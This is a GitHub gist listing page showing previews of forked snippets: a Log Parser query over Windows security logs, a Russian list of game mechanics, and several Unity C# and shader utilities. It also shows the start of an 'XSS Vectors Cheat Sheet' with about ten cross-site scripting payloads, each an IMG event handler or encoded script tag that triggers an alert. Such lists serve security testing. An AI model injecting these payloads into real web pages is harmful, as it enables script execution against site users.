Skip to content

Instantly share code, notes, and snippets.

@jorik041
jorik041 / logparser.ps1
Created April 29, 2021 11:18 — forked from exp0se/logparser.ps1
Logparser log parsing
# Logparser
###############
# Security Log
###############
# Find Event id
& 'C:\Program Files (x86)\Log Parser 2.2\LogParser.exe' -stats:OFF -i:EVT "SELECT * FROM 'Security.evtx' WHERE EventID = '5038'"
@jorik041
jorik041 / xss_vectors.txt
Created March 27, 2021 16:12 — forked from kurobeats/xss_vectors.txt
XSS Vectors Cheat Sheet
%253Cscript%253Ealert('XSS')%253C%252Fscript%253E
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))">
@jorik041
jorik041 / mechanics.txt
Created January 17, 2021 18:07 — forked from Glavak/mechanics.txt
Список игровых механик из видео https://youtu.be/hq5fofOLI6w
Здоровье в качестве валюты как в некоторых комнатах Isaac'а или пули за здоровье в Bloodborne
Туман войны, он есть во многих стратегиях
Отсутствие меню, или меню вписанное в игровой мир, например в Antichamber
Красные бочки - наверное одна из самых шаблонных механик - но зато это делает её понятной всем игрокам
Такая широкая идея как редактирование мира, как в терарии и майнкрафте, или в astroneer, в котором она выглядит красивее засчёт отсутствия блоков
Гибкое создание кастомных заклинаний или оружия, как было в тех же Worms
Сохранение в кровати или в доме игрового персонажа
Bullet hell, и не обязательно как жанр, можно создать такого босса или уровень во многих 2D играх со стрельбой
Сложные взаимоотношения между нпс, когда мутанты сражаются с рейдерами, или система нпс в Streets Of Rouge
Изменение цвета уровня как в shift
@jorik041
jorik041 / GridShader.cs
Created May 26, 2020 11:36 — forked from shanecelis/GridShader.cs
Example of how to make your shader accessible in C#.
using UnityEngine;
/** This class communicates directly with the shader to draw grids. The shader's
properties look like this:
Shader "SDF/Grid"{
Properties{
[KeywordEnum(Grid, Cross, Ticks)]
_GridKind ("Kind", Int) = 0
_InsideColor("Inside Color", Color) = (.5, 0, 0, 1)
@jorik041
jorik041 / EditorNote.cs
Created May 26, 2020 11:35 — forked from gekidoslair/EditorNote.cs
Add to any gameobject to provide scene-view annotations
using UnityEditor;
using UnityEngine;
namespace PixelWizards.Utilities
{
public class EditorNote : MonoBehaviour
{
[TextArea]
public string m_Text;
public Vector3 m_Offset;
@jorik041
jorik041 / ScreenshotTool.cs
Created May 20, 2020 03:46 — forked from ryanmillerca/ScreenshotTool.cs
Screenshot Tool for Unity3D (Capture iOS/Android screenshots)
// Screenshot Tool
// for use in Unity3D
// suitable for taking screenshots for iOS/Android app store pages
// made by Ryan Miller https://www.ryanmiller.ca
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using System;
#if UNITY_EDITOR
@jorik041
jorik041 / UnlitTexture.shader
Created May 18, 2020 04:23 — forked from phi-lira/UnlitTexture.shader
URP Unlit Texture example
Shader "Universal Render Pipeline/Custom/UnlitTexture"
{
Properties
{
[MainColor] _BaseColor("BaseColor", Color) = (1,1,1,1)
[MainTexture] _BaseMap("BaseMap", 2D) = "white" {}
}
SubShader
{
@jorik041
jorik041 / BoneDebug.cs
Created April 14, 2020 11:31 — forked from gekidoslair/BoneDebug.cs
Simple tool that displays all of the bones that a particular mesh is bound to - useful for debugging skin weighting etc
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
[ExecuteInEditMode]
public class BoneDebug : MonoBehaviour
{
SkinnedMeshRenderer skm;
public List<Transform> bones = new List<Transform>();
@jorik041
jorik041 / CharacterMeshBind.cs
Created April 14, 2020 11:30 — forked from gekidoslair/CharacterMeshBind.cs
Bind clothing mesh to a parent character skin / rig
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
namespace PixelWizards.CharacterCustomizer
{
/// <summary>
/// attach this to the clothing GO you want to attach (the GO with the SkinnedMeshRenderer)
/// drag the main character body you want to attach it to (the GO with the SkinnedMeshRenderer)
/// the clothing rig must have been the same rig the character's body used. the body parts (transforms) must be named the same thing
@jorik041
jorik041 / UIGetName.cs
Created April 7, 2020 18:19 — forked from feranmii/UIGetName.cs
Simple Class that assigns the name of the parent GameObject to a UI TextField
using System;
using System.Collections;
using System.Collections.Generic;
using TMPro;
using UnityEngine;
/// <summary>
/// Simple Class that assigns the name of the parent GameObject to a UI TextField
/// </summary>
//Unitytips by @theferfactor